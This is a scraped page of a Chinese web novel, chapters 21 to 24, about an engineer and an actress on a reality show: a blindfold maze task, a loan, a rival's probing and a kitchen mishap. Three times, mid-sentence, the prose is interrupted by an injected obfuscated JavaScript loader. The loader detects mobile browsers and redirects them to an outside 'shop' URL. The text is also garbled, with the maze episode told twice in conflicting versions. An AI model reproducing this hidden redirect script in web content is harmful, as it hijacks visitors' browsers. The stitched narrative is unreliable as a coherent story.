欠林薇30万,需规划偿还。 3. 日薪100万认知已接受,但尚未产生真实感。 4. 母亲病情为最高优先级,需密切跟进。 他保存文档,关掉手机。 健身房窗外,苏小雨和楚曦结束了瑜伽,正朝别墅走去。苏小雨笑得很开心,楚曦在揉肩膀——大概是被苏小雨笨拙的动作累到了。 一切都和半小时前一样。 但陈末的世界已经不一样了。 他有了足够母亲手术的钱。 他欠了一个人三十万。 他知道了自己日薪一百万,却还在为几十万焦虑。 他……需要重新定义很多事。 下午两点,任务室。 刘导宣布第三轮任务:“信任挑战:蒙眼迷宫。” 规则很简单:两人一组,一人蒙眼,另一人仅用语言指导通过迷宫。迷宫设在别墅后花园临时搭建的场地,内有各种障碍——软垫、绳索、铃铛(碰到会响)、还有需要合作才能通过的机关。 分组方式:抽签。 陈末抽到蓝色。林薇也抽到蓝色。 苏小雨抽到红色,和王烁一组。楚曦和秦澜自动成组。 “任务开始前,有十分钟准备时间。”刘导说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990782|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可以商量策略。” 林薇走到陈末身边:“你指挥,我蒙眼。” “确定?”陈末问,“我方向感还可以。” “我相信你的指令会更精确。”林薇说,“而且……我习惯执行指令。” 陈末想起早上她说“习惯执行既定脚本”。也许对林薇来说,完全交出控制权反而是一种解脱。 “好。”陈末说,“我会用坐标和角度指令,尽量精确。” “我信任你。”林薇说。三个字,很轻,但很坚定。 另一边,苏小雨在跟王烁商量:“王烁哥,我蒙眼吧!但我有点怕黑……” 王烁温柔地说:“没关系,我会仔细描述。你跟着我的声音走。” 楚曦和秦澜的对话很简洁: “我指挥?” “可以。” “那就走直线,碰壁再说。” “行。” 准备时间结束。第一组:王烁和苏小雨。 苏小雨蒙上眼罩,小心翼翼走进迷宫。王烁在入口处指导:“慢慢往前……好,停。左边有绳子,往右一点点……” 进程很慢。苏小雨每一步都犹豫,王烁的指令不够精确,经常需要重复。十分钟后,他们才走了三分之一,已经碰到了三次铃铛。 第二组:楚曦和秦澜。 楚曦蒙眼,秦澜指挥。秦澜的指令很清晰:“前进五步……左转四十五度……抬脚,有障碍……” 但楚曦习惯了身体控制,对语言指令反应有延迟。两人配合还算默契,但速度一般。 终于轮到陈末和林薇。 林薇戴上眼罩,站在迷宫入口。陈末走到观察台——那里有迷宫的全景监控。 “准备。”陈末说。 林薇点头。 “开始。”刘导说。 陈末开口,声音平稳清晰:“向前直行七步。” 林薇毫不犹豫地走了七步,步幅均匀。 “停。右转九十度。” 林薇转身,精准。 “向前三步半,然后左转三十度。” 三步半?其他人都愣了。但林薇照做——走了三步,第四步只迈一半。 “现在,前方两米处有悬挂铃铛,高度一米二。需要弯腰通过,角度约六十度,前进两步。” 林薇弯腰,保持六十度角,前进两步,完美避开铃铛。 观察台上,刘导和其他工作人员都看呆了。陈末的指令像机器人导航,林薇的执行像精密仪器。 “右转十五度,前方有软墙,需要侧身通过。向□□斜二十度,慢慢移动。” 林薇侧身,角度精准,缓缓通过狭窄通道。 整个过程中,陈末的指令没有一丝犹豫,林薇的执行没有一次失误。两人就像一套调试完美的系统,输入指令,输出动作。 四分三十七秒,他们到达终点——比其他两组快了一倍多。 林薇摘下眼罩,看向观察台上的陈末。陈末对她点了点头。 没有欢呼,没有击掌。但那种默契,比任何庆祝都更有力量。 “哇……”苏小雨喃喃,“陈末老师好厉害……林薇姐也好厉害……” 王烁的笑容有点勉强:“很专业的配合。” 刘导宣布:“陈末林薇组第一!楚曦秦澜组第二,王烁苏小雨组第三。” 任务结束,大家解散。陈末准备回房间时,林薇叫住他。 “谢谢。”她说。 “应该我谢你。”陈末说,“没有你的信任,指令再精确也没用。” 林薇微微摇头:“不是信任你的指令,是信任你这个人。” 她说得很轻,但陈末听清了。 他忽然意识到,那三十万转账,和刚才迷宫里的绝对服从,本质上是同一种东西:信任。 而他,一个习惯用风险矩阵评估一切的人,该如何回应这种信任? 他不知道。 他只知道,有些变量,开始超出他的计算模型了。 回房间的路上,陈末遇到王烁。王烁正在打电话,语气严肃:“……继续查,我要知道资金来源……” 看见陈末,他立刻挂断,换上笑容:“陈末,恭喜啊。你和林薇配合真默契。” “谢谢。”陈末说。 “对了,”王烁状似随意地问,“听说你上午在健身房待了很久?在锻炼吗?” 陈末心里一紧。王烁在关注他的行踪。 “嗯,跑了会儿步。”陈末说。 “注意休息。”王烁拍拍他的肩,“毕竟……家里有事,更需要保重身体。” 他说完就走了。 陈末站在原地,看着他的背影。 资金来源。家里有事。 王烁在查他。很可能已经知道他母亲生病,甚至可能知道手术费的事。 那三十万转账……会不会被查到? 陈末快步回房间,关上门。 他需要重新评估风险。 如果王烁团队知道他接受林薇的资助,会怎么利用这个信息? “素人嘉宾接受影后巨额资助”——这标题足够引爆舆论。 而舆论,是他现在最不需要的变量。 窗外,天色渐暗。 风暴真的要来了。 而这一次,他可能无法单纯靠技术思维来应对。 因为他欠的,不只是钱。 还有一份他还不知道如何偿还的, 信任。 22. 信任挑战:蒙眼迷宫 早晨七点,陈末被手机震动吵醒。 医院发来的确认短信:“陈先生,保证金二十万已收到,术前检查已启动。请保持通讯畅通,手术时间确定后我们会第一时间通知。” 压在胸口的最后一块石头终于落地。陈末看着短信,第一次感觉到“钱”这个东西的真实重量——不是合同上虚幻的一百万日薪,而是能救命的、实实在在的五十五万。 他起床,洗漱,换上节目组准备好的运动服。今天要录迷宫挑战,穿宽松点比较方便。 早餐时,气氛有些微妙。苏小雨眼睛还有点肿——昨晚她看恐怖电影吓哭了,半夜跑去敲楚曦的门。楚曦在讲这件事时一脸无奈:“我睡得正香,开门看见一个哭唧唧的丸子头,还以为闹鬼了。” “人家害怕嘛!”苏小雨噘嘴,“而且电影里那个迷宫场景,跟今天我们要玩的可像了!” 秦澜喝着咖啡:“放心,今天的迷宫没有鬼,只有铃铛和软垫。” 林薇安静地吃着水果沙拉,听见“迷宫”两个字,抬头看了陈末一眼。陈末正在计算今天的工时——从九点到十二点,三小时,按日薪一百万算就是十二万五千。不对,税后……算了,先不细算。 “陈末老师,”苏小雨凑过来,“你今天和林薇姐一组诶!你们会用什么策略呀?” “语言指导。”陈末说。 “具体点嘛!” 陈末想了想:“坐标指令,角度控制,距离估算。” 苏小雨一脸茫然:“听不懂……” 王烁笑了:“陈末的战术一向很技术流。我们这些普通人学不来。” 这话听起来像夸奖,但陈末听出了一丝别的意味。他看了眼王烁,王烁正在优雅地切煎蛋,动作完美得像广告片。 早餐后,大家来到花园。迷宫已经搭建好了——用两米高的黑色幕布围成复杂通道,入口处挂着“信任之门”的牌子。 刘导拿着喇叭讲解规则:“迷宫内有三大挑战区:铃铛阵——碰到铃铛扣一分;平衡桥——需要稳定通过;协作墙——两人需要配合才能打开的门。每组限时十五分钟,按完成时间和扣分综合评分。” 楚曦举手:“协作墙?蒙眼的怎么协作?” “这就是挑战所在。”刘导神秘一笑,“需要你们自己想办法。” 分组情况和昨天一样:陈末林薇,王烁苏小雨,楚曦秦澜。 “第一组,王烁和苏小雨!”刘导宣布。 苏小雨戴上黑色眼罩,深吸一口气:“王烁哥,你要说清楚点哦,我方向感超差的!” “放心。”王烁站在观察台——一个三米高的架子,能看到迷宫全景,“慢慢来。” 任务开始。 王烁的指导很……文艺。 “小雨,往前走吧,像在春天的草地上散步。” 苏小雨迟疑地迈步:“具体走几步呀?” “感受脚下的路,它会告诉你。” “我感受不到啊……”苏小雨差点被地上的软垫绊倒,“哎呀!” “小心!”王烁赶紧说,“往左一点,对,像蝴蝶避开蛛网那样轻盈……” 观察台这边,楚曦翻了个白眼:“他在念诗吗?” 秦澜推了推眼镜:“可能是他的指导风格。” 陈末观察着迷宫结构。通道宽度约一米,转弯处都是直角。铃铛悬挂在特定高度,平衡桥是窄木板,协作墙……看不清具体机关。 王烁和苏小雨在铃铛阵就卡住了。苏小雨连续碰到三个铃铛,叮叮当当响成一片。 “王烁哥!”苏小雨快哭了,“你直接说左转还是右转嘛!” “好,好,右转九十度。” “九十度是多少啊?” “就是……转个直角。” “哦……” 十二分钟后,他们勉强通过迷宫,扣了八分。 第二组,楚曦和秦澜。 楚曦戴上眼罩:“秦澜姐,说直接点,别绕弯子。” “好。”秦澜的指令简洁明了,“直行五步,停。右转,直行三步,抬脚十五厘米迈过障碍。” 楚曦执行得很干脆,但她步幅大,经常走过头。 “我说三步你走了四步。”秦澜指出。 “我一步顶别人两步!”楚曦理直气壮。 在平衡桥,楚曦因为走太快差点掉下来。秦澜及时提醒:“重心放低,小步移动。” “知道了!” 她们用时九分钟,扣三分。 终于轮到陈末和林薇。 林薇戴上眼罩前,看了陈末一眼:“我准备好了。” 陈末点头,走上观察台。迷宫结构在他脑子里已经建好了三维模型。 “开始。” 林薇站在入口。 陈末开口,声音平稳得像AI导航:“向前直行六步,步幅零点六米。” 林薇迈步,每一步都很均匀。 “停。右转九十度,精确。” 林薇转身,角度精准。 “前方两米二处有第一个铃铛,悬挂高度一米五。需要弯腰四十五度通过。建议步幅调整为零点五米,前进四步。” 林薇弯腰,前进,完美避开。 观察台上,刘导和其他工作人员都屏住呼吸。 “这指令……也太精确了吧?”跟拍摄像小赵小声说。 “嘘。”刘导眼睛发亮,“拍好,这是经典镜头。” 迷宫内,陈末继续:“现在进入转弯区。向左转四十五度,直行两步,然后立即右转九十度。这两步需要快速完成,因为转弯后有悬挂障碍。” 林薇像精密机器一样执行。左转,直行,右转,一气呵成。 “前方三米是平衡桥。桥宽四十厘米,长两米。建议侧身通过,左脚先上,重心保持在中心线。” 林薇侧身,慢慢走上木板。她走得极稳,几乎没有晃动。 “很好。现在桥中间有轻微起伏,抬脚高度增加五厘米。” 林薇照做。 过了平衡桥,来到协作墙。这是一面木墙,中间有个需要两人同时按压才能打开的机关——但林薇蒙着眼。 “现在到达最终挑战。”陈末说,“你面前是一面墙,高度两米,中央有圆形机关。需要你和我同时按压才能打开。” “我看不到机关位置。”林薇说。 “我会引导你的手。”陈末走下观察台,进入迷宫——规则允许指导者在最终挑战时进入。 他走到林薇面前,但保持距离:“现在,向前一步,伸出手。” 林薇伸手。 “手向左移动二十厘米,向下十厘米……停。就是那里。我需要数到三,我们一起按压。你准备好了吗?” “嗯。” “一、二、三!” 陈末在观察台上按下机关按钮——那里有遥控装置。同时,林薇在墙前按下机关。 咔哒一声,墙开了。 全程用时四分五十秒,零扣分。 “完美!”刘导第一个鼓掌。 林薇摘下眼罩,阳光有点刺眼。她眯了眯眼,看见陈末从迷宫出口走过来。 “配合很好。”陈末说。 “是你指令精确。”林薇说。 两人对视一秒,然后同时移开目光。 其他人都围了过来。 “太厉害了!”苏星星眼,“陈末老师你怎么能把距离算得那么准啊?” “观察加估算。”陈末说。 楚曦拍他肩膀:“可以啊,以后我训练可以找你当技术指导了。” 秦澜点头:“很高效的合作模式。” 王烁笑容依旧,但陈末注意到他看了林薇一眼,眼神复杂。 刘导宣布结果:“陈末林薇组第一名!奖励是……下次自由活动的优先选择权!” “耶!”苏小雨替他们高兴,“陈末老师林薇姐,你们下次可以去玩好玩的!” 任务结束,大家解散。陈末准备回房间时,林薇叫住他。 “能聊几句吗?”她问。 两人走到花园角落的长椅。这里离主建筑远,周围有树丛遮挡,相对私密。 “今天谢谢你。”林薇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990783|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先开口。 “应该的。”陈末说。 “不只是任务。”林薇看着他,“还有……昨天的事。” 陈末知道她说的是三十万。他点头:“钱我会尽快还。” “不急。”林薇说,“我想说的是……在迷宫里,当我完全看不见,只能听你指令的时候,我感受到一种……久违的轻松。” 陈末没说话,等她继续。 “在剧组,在镜头前,我每时每刻都要计算:这个角度好不好看,这句话会不会被误解,这个表情会不会太夸张。”林薇的声音很轻,“但刚才,我什么都不用想。只需要执行。就像……把控制权完全交出去,反而自由了。” 陈末理解这种感觉。在处理紧急故障时,他也需要进入那种“心流”状态——专注问题,忘记其他。 “你的指令很清晰,没有模糊空间。”林薇继续说,“‘向前六步’就是六步,‘右转九十度’就是九十度。这种确定性……让人安心。” “指令清晰可以降低系统通信延迟。”陈末说,“模糊指令需要额外解释,增加误读风险。” 林薇笑了:“你又用系统比喻。” “习惯了。” “但很准确。”林薇说,“我在想,也许人生也需要这样清晰的指令。而不是一直活在别人的期待和模糊的标准里。” 陈末想了想:“理论上可以。设定明确目标,拆解为具体步骤,执行,反馈,调整。但这需要很强的自我认知和规划能力。” “你能做到吗?” “工作中可以。生活中……在尝试。” 林薇点点头。她看着远处海面,阳光洒在她侧脸,睫毛在眼下投出细小的阴影。 “陈末,”她忽然问,“如果你的人生系统出了bug,你会怎么办?” “先确认是不是真的bug,还是功能设计如此。”陈末说,“然后看严重程度。如果影响核心功能,紧急修复。如果只是边缘问题,可以排期处理。” “如果……是架构层面的问题呢?需要重构的那种。” 陈末看着她:“那就要做详细设计,准备回滚方案,分阶段实施。重构风险很高,但有时是唯一选择。” “你建议重构吗?” “看成本收益比。”陈末说,“如果现有架构已经严重制约发展,或者维护成本太高,那就值得。但要有足够的测试和缓冲。” 林薇沉默了很久。海风吹过,树梢沙沙作响。 “我可能……”她轻声说,“需要一次重构。” 陈末没问具体是什么。他知道那是林薇自己的系统,他没有权限访问。 “如果需要技术支持,”他说,“我可以提供咨询。但具体实施要靠你自己。” 林薇转头看他,眼神里有种很深的情绪:“谢谢。” “不客气。” 两人又坐了一会儿。阳光慢慢移动,长椅的影子变短。 “该回去了。”林薇起身。 “嗯。” 往回走的路上,他们遇到王烁。他站在别墅门口,似乎在等人。 看见陈末和林薇一起从花园深处走来,王烁的表情微妙地变化了一下,但很快恢复笑容。 “两位聊什么呢?”他问。 “任务复盘。”陈末说。 “陈末在给我讲系统架构理论。”林薇补充。 王烁点头:“真勤奋。对了陈末,下午有空吗?想请教你一些数据分析的问题。” “下午我要处理工作。”陈末说。 “那改天。”王烁也不坚持,“你们先忙。” 他侧身让开路。陈末和林薇走进别墅。 身后,王烁看着他们的背影,脸上的笑容慢慢消失。 他拿出手机,发了条消息:“查一下,陈末和林薇最近有没有私下接触。特别是资金往来。” 发送。 然后他抬头,看着别墅二楼陈末房间的窗户,眼神深沉。 迷宫挑战只是个开始。 真正的游戏,还在后面。 而他已经开始布局了。 23. 迷宫尽头的真心话 迷宫挑战结束后,节目组给了半小时休息时间。 陈末回房间处理工作邮件——公司新系统上线后有几个小问题需要他远程协助。当他敲完最后一行故障分析报告时,敲门声响起。 打开门,是林薇。 她换了件浅灰色的针织开衫,头发松松地挽着,手里拿着那本《人月神话》。看起来像是路过,但陈末注意到她指尖在书脊上轻轻摩挲的动作——那是她思考时的习惯。 “打扰了。”林薇说,“关于这本书第七章,有个地方想请教。” “请进。”陈末侧身。 林薇走进房间,在书桌前的椅子上坐下。陈末坐在床边,两人隔着两米距离。 “第152页,”林薇翻开书,“这里说,‘沟通成本随团队规模呈指数增长’。下面有个公式……” 陈末接过书,看了一眼:“这是布鲁克斯定律的数学表达。意思是增加人手不一定能加快进度,因为新人需要时间熟悉项目,而且沟通路径会急剧增加。” “所以人越多效率越低?”林薇问。 “不一定,但边际收益递减。”陈末解释,“就像分布式系统,节点太多会增加网络开销。需要找到最优规模。” 林薇若有所思地点头。她接过书,却没继续问技术问题,而是说:“刚才在迷宫里……谢谢你。” “你已经谢过了。”陈末说。 “不一样。”林薇看着书页,“那时候是谢你的指令精确。现在是谢你……没有让我觉得尴尬。” 陈末不太明白。他做了什么不让林薇尴尬的事? 林薇似乎看出他的困惑,轻声说:“当我完全依赖你的指令时,有一种……很奇怪的感觉。像回到小时候,什么都不用想,只要跟着大人的指令走就好。” 她停顿了一下,声音更轻:“我已经很久没有这种感觉了。” 陈末看着她。林薇低着头,睫毛垂下来,遮住了眼神。这个角度让她看起来比平时脆弱。 “信任会降低系统通信延迟。”陈末说,“你不质疑指令,不要求解释,执行效率自然高。” 林薇抬头,眼里闪过一丝笑意:“又是系统比喻。” “但准确。” “嗯。”林薇点头,“很准确。” 两人沉默了一会儿。窗外传来海鸟的叫声,和海浪拍打沙滩的声音。 “陈末,”林薇忽然问,“你会害怕吗?” “害怕什么?” “失控。”林薇说,“像在迷宫里那样,完全看不见,只能依赖别人。” 陈末想了想:“运维工作中经常遇到不可预见的故障。某种意义上,那就是失控。但害怕没用,重要的是尽快恢复控制。” “如果……恢复不了呢?” “那就止损,记录日志,事后复盘。”陈末说,“系统不可能永远不故障,关键是从故障中学到什么。” 林薇看着他,眼神复杂:“你总是这么理性。” “理性效率高。” “但人会累。”林薇说,“理性也会累。” 陈末没说话。他想起母亲病情恶化时,自己半夜在医院走廊里来回踱步的样子。那时候理性告诉他“焦虑没用”,但身体还是控制不住地紧张。 “会累。”他承认,“所以需要定期维护。” “你怎么维护?” “跑步,看书,处理技术问题。”陈末说,“或者……算账。” “算账?” “算收入,算支出,算时间分配。”陈末说,“数字很确定,不会骗人。” 林薇笑了,很轻的笑声:“这方法很好。我下次试试。” 她又低头看书,翻了几页,但陈末觉得她没在看。 “陈末,”她又开口,这次声音很轻,“如果……我是说如果,一个系统运行了很久,但从来没听过用户的真实反馈,会怎么样?” 陈末思考这个问题。这在软件开发里叫“缺乏用户反馈闭环”。 “可能会偏离用户需求而不自知。”他说,“功能越来越复杂,但用户真正需要的可能很简单。” “怎么获取真实反馈?” “直接问,观察使用行为,分析数据。”陈末说,“但关键是……要愿意听真话,哪怕不好听。” 林薇点点头。她合上书,抱在怀里,像抱着什么珍贵的东西。 “我在想,”她说,“也许我来这个节目,就是想听点真话。在剧组,大家都说‘林薇姐演得真好’;在采访里,记者写‘影后谈艺术追求’;在粉丝眼里,我是‘完美的林薇’。但那些……有多少是真话?” 陈末不知道该怎么回答。他不擅长这种情感话题。 “你在节目里说的都是真话。”林薇看着他,“‘为钱而来’,‘算工时’,‘系统协作’……虽然听起来有点怪,但都是真的。” “我没有理由说谎。”陈末说。 “这就是你最珍贵的地方。”林薇说,“你没有说谎的理由。” 她站起身:“书我再借几天。还有……谢谢今天的谈话。” “不客气。” 林薇走到门口,手放在门把上,停顿了一下:“陈末。” “嗯?” “如果以后……”她没回头,“如果以后我需要听真话,可以找你吗?” “可以。”陈末说。 林薇点点头,开门离开了。 陈末站在原地,脑子里复盘刚才的对话。林薇在寻求某种……确认?或者支持?他不太确定。但他答应提供技术支持——听真话也算一种技术支持吧。 手机震动,是刘导的消息:“陈末老师,方便来监控室一趟吗?有事商量。” 监控室里,刘导正在看迷宫挑战的回放。画面停在陈末和林薇协作打开机关的那一刻。 “拍得真好。”刘导感叹,“那种默契……观众会喜欢的。” “找我有事?”陈末问。 “两件事。”刘导关掉屏幕,“第一,医院那边,手术时间确定了——后天上午九点。你需要提前离岛,我们会安排。” 后天。陈末心里一紧。这么快。 “第二,”刘导表情严肃,“王烁的经纪人今天正式提出,要求查看你的背景调查资料。理由是‘确保节目安全’。” 陈末皱眉:“节目组会同意吗?” “我们有保密协议,原则上不同意。”刘导说,“但他们施压很大。王烁背后的资本方甚至威胁要撤资。” “撤资?” “他们投资了这个项目,有话语权。”刘导叹气,“陈末,你得做好准备。王烁团队可能已经查到你母亲生病的事,甚至可能知道手术安排。” 陈末心里一沉。如果王烁知道手术时间…… “他们会怎么做?”他问。 “不确定。”刘导摇头,“但以我对这个圈子的了解,他们可能会在手术当天制造话题,转移注意力。或者……利用你的‘孝子’形象做文章。” “怎么做文章?” “比如,质疑你是否利用母亲病情炒作。”刘导说,“或者,曝光你的实际报酬,质疑‘为钱而来’的真实性——如果你真的缺钱,为什么能付得起高昂手术费?如果你不缺钱,为什么说‘为钱而来’?无论哪种,都能制造矛盾。” 陈末明白了。真相不重要,重要的是能制造多少讨论。 “我需要做什么?”他问。 “保持低调。”刘导说,“手术当天,我们会安排你秘密离岛,尽量不引人注意。另外……关于你和林薇的互动,可能也需要适当降温。” “降温?” “王烁团队已经注意到你们走得太近。”刘导说,“他们认为这是节目组的刻意安排,为了捧你而牺牲王烁的镜头。如果我们再继续推你和林薇的线,他们可能会采取更激烈的手段。” 陈末想起林薇刚才的话:“如果以后我需要听真话,可以找你吗?” 他不想“降温”。但…… “我明白了。”他说。 回到房间,陈末打开手机。母亲的主治医生发来了手术详细安排:后天上午九点,预计三小时,术后直接进ICU观察。 他回复:“收到,我会准时到。” 然后他打开备忘录,记录: 【手术安排确认】 时间:后天上午9:00 地点:市第一医院 流程:已收悉 注意事项:需提前一天进行术前准备 【风险预警】 1. 王烁团队已知或怀疑母亲病情及手术安排 2. 可能于手术日制造舆论事件 3. 节目组建议“降温”与林薇的互动 写完,他盯着“降温”两个字。 怎么降温?刻意疏远?减少对话?那和林薇刚建立的信任怎么办? 还有那三十万。他还没还。 手机又响了,这次是张伟:“末哥!你跟林薇上热搜了!‘迷宫默契’!” 陈末点开链接。是节目组官方发的迷宫挑战花絮,重点剪了他和林薇配合的部分。评论区: “这默契是真实存在的吗?” “陈末的指令好像AI,林薇的执行好像机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990784|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器人,但好配!” “只有我觉得他们之间有种奇怪的张力吗?” “王烁表情有点微妙……” “我宣布这对CP我嗑了!” 陈末关掉页面。果然,观众注意到了。 这时,敲门声又响了。陈末以为又是林薇,开门却是苏小雨。 “陈末老师!”她眼睛红红的,像刚哭过,“我能找你聊聊吗?” “进来吧。”陈末让开。 苏小雨进来,坐在刚才林薇坐过的椅子上。她手里捏着纸巾,手指绞在一起。 “怎么了?”陈末问。 “我……”苏小雨吸了吸鼻子,“我刚才看到热搜了。你和林薇姐……你们是不是……” 她没说完,但陈末懂了。 “我们只是任务配合。”他说。 “可是……”苏小雨抬头看他,眼眶湿漉漉的,“可是我觉得林薇姐看你的眼神不一样。还有你,你跟林薇姐说话的时候,语气都跟别人不一样。” 陈末回想。有吗?他觉得自己对所有人都一样。 “你是不是喜欢林薇姐?”苏小雨直接问。 陈末愣住了。喜欢?他对林薇是什么感觉?欣赏她的专业,感谢她的帮助,愿意为她提供技术支持。这是喜欢吗? “我不知道。”他诚实地说。 “那就是有可能喜欢。”苏小雨眼泪掉下来,“我……我也喜欢你啊。虽然我知道自己可能没机会,但我还是想说。” 陈末彻底懵了。这种直球告白完全超出了他的处理范围。 “苏小雨,”他斟酌措辞,“我们现在在录节目。很多事情……可能只是节目效果。” “但我是真的!”苏小雨站起来,“从你第一天帮我修平板开始,我就觉得你跟别人不一样。你不装,不演,说什么就是什么。我……我很喜欢这样的你。” 陈末不知道该怎么回应。他想起刘导说的“降温”,但现在…… “谢谢。”他最后说,“但我现在……有很多事要处理。母亲的病,工作,合同……” “我知道。”苏小雨擦擦眼泪,“我没说要你现在回应。我只是……想让你知道。” 她说完,转身跑出房间。 陈末站在原地,脑子里一片混乱。 林薇的信任。 苏小雨的告白。 王烁的威胁。 母亲的手术。 三十万的债务。 一百万的日薪。 所有变量同时涌入,像系统突然收到海量并发请求,CPU使用率瞬间飙到100%。 他需要重启。 需要清理内存。 需要重新规划线程优先级。 但现实世界没有重启键。 他只能硬扛。 窗外的天色渐渐暗下来。夕阳把海面染成金红色,美得不真实。 陈末站在窗前,看着那片金色慢慢褪去,变成深蓝。 后天,他要去医院。 大后天,他可能要面对一场舆论风暴。 而现在,他需要决定如何处理和林薇的关系,如何回应苏小雨的告白,如何应对王烁的威胁。 每一个决策都有风险。 每一个选择都可能引发连锁反应。 他忽然想起林薇的问题:“如果恢复不了控制呢?” 那就止损,记录日志,事后复盘。 他深吸一口气,打开手机,给林薇发了条消息: “关于今天说的真话——如果你需要,随时可以找我。这是承诺。” 发送。 然后他给苏小雨也发了一条: “谢谢你的信任。我会认真考虑。” 发送。 最后,他给刘导发消息: “关于降温的事,我尽量。但有些事……我做不到刻意。” 发送。 做完这些,他感觉好了一点。 至少,他做出了选择。 至少,他没有逃避。 窗外,第一颗星星亮起来了。 像监控面板上的一个绿色指示灯。 提示着:系统仍在运行。 尽管负载很高。 尽管有未知风险。 但仍在运行。 而他,这个系统的管理员,会继续监控,继续优化,继续…… 按自己的设计运行。 即使这个设计,正变得越来越复杂。 即使这个系统,正面临前所未有的压力测试。 他准备好了。 或者说,他必须准备好。 24. 苏小雨的深夜厨房 凌晨一点十七分,陈末被一股焦糊味惊醒。 他坐起身,仔细嗅了抽——不是幻觉。空气中有明显的烟熏味,还夹杂着某种……蛋白质烧焦的诡异甜香。 火灾?他瞬间进入应急状态:确认火源、评估风险、制定方案、执行。 翻身下床,开门。走廊里烟雾弥漫,源头明显来自二楼厨房方向。没有火光,说明还没到明火阶段。但烟雾报警器居然没响——可能被节目组临时关闭了,因为晚上有嘉宾在露台烧烤。 陈末快步下楼。厨房门关着,门缝下透出灯光和更多烟雾。他推开门—— 苏小雨站在料理台前,手忙脚乱地用锅盖拍打一口冒烟的小锅。她穿着粉色卡通睡衣,头发胡乱扎成丸子头,脸上沾着面粉和疑似酱油的痕迹。料理台上摆满了各种食材:鸡蛋打碎在台面上,面粉撒得到处都是,几根蔫了的青菜泡在水槽里。 “陈、陈末老师!”苏小雨看见他,眼泪都快出来了,“我不是故意的!我就是想煮个粥……” 陈末没时间问为什么凌晨一点煮粥。他快速评估现场:锅在电磁炉上,里面是烧焦的米糊。电磁炉电源还开着,但锅已经干烧冒烟。没有明火,主要是烟雾。 标准操作流程:切断电源,隔离热源,通风。 他走过去,先拔掉电磁炉插头,然后把锅移到旁边的不锈钢台面——远离可燃物。接着打开所有窗户,启动抽油烟机。 “锅盖给我。”陈末伸手。 苏小雨乖乖递过锅盖。陈末用锅盖盖住锅,隔绝空气。然后拿起旁边的湿抹布,小心地垫在锅盖边缘——进一步密封。 烟雾慢慢减少。 “站远点。”陈末说,“可能有毒气体。” 苏小雨退到厨房门口,眼睛红红的像只兔子。 陈末检查锅具。是一口小奶锅,底部已经烧黑,粘着一层碳化的米糊。他接了点水,倒进去——刺啦一声,蒸汽升腾。 “你在煮什么?”他问。 “鸡、鸡丝粥……”苏小雨小声说,“我看网上的病号餐食谱,说手术后喝粥好消化……” 陈末动作一顿。病号餐。母亲的手术。 他转头看苏小雨。她睡衣袖子卷到手肘,手臂上有一小块红印——可能是烫的。脸上表情混合着内疚、害怕,还有一丝……委屈? “为什么现在做?”陈末问。 “我睡不着……”苏小雨揉着眼睛,“想到陈末老师你妈妈后天手术,我就想……能不能帮上忙。但我不会做饭,就想着先练习一下……” 她越说声音越小:“结果把米放少了,水烧干了,然后就……” 陈末看着料理台上的“战场”。打翻的鸡蛋,撒掉的面粉,烧焦的粥。一片狼藉,但意图明确。 “你的手烫到了。”他说。 苏小雨低头看手臂:“啊?没事,不疼……” “过来。”陈末打开冰箱,拿出冰块,用厨房纸巾包好,“敷着。” 苏小雨接过冰袋,按在烫伤处。她看着陈末清理现场——先把烧焦的锅泡进水槽,再擦拭台面,收拾散落的食材。动作有条不紊,像在处理服务器故障。 “陈末老师,”她小声说,“你不骂我吗?” “骂你没用。”陈末说,“现在需要做的是清理现场,防止二次事故,记录原因,制定改进方案。” 苏小雨愣了愣,然后噗嗤笑出来:“你又开始说系统语言了……” “这是标准事故处理流程。”陈末认真地说,“不过,你为什么要学做病号餐?” “因为……”苏小雨低下头,“我想帮忙。你帮了我那么多次,修平板,教我怎么清理存储空间,迷宫挑战还那么耐心……我就想,能不能也为你做点什么。” 她抬起头,眼睛在灯光下亮晶晶的:“我知道我没林薇姐聪明,没楚曦姐能干,没秦澜姐厉害……我只会唱歌跳舞,但这些你都用不上。我就想,至少……至少可以学点实用的。” 陈末停下擦拭的动作。他看着苏小雨——那个平时总是笑嘻嘻的元气偶像,此刻穿着沾满面粉的睡衣,手臂上敷着冰袋,眼睛湿漉漉的,像只做错事但真心想弥补的小动物。 “谢谢。”他说。 苏小雨睁大眼睛:“你不觉得我笨手笨脚吗?” “笨手笨脚但有心,比聪明但冷漠好。”陈末说。这是他第一次说这种话,说完自己都觉得不太像平时的风格。 苏小雨眼睛更亮了:“真的?” “嗯。”陈末点头,“不过,下次想学做饭,可以白天学。或者……叫我一起。至少能防止火灾。” “你会做饭?” 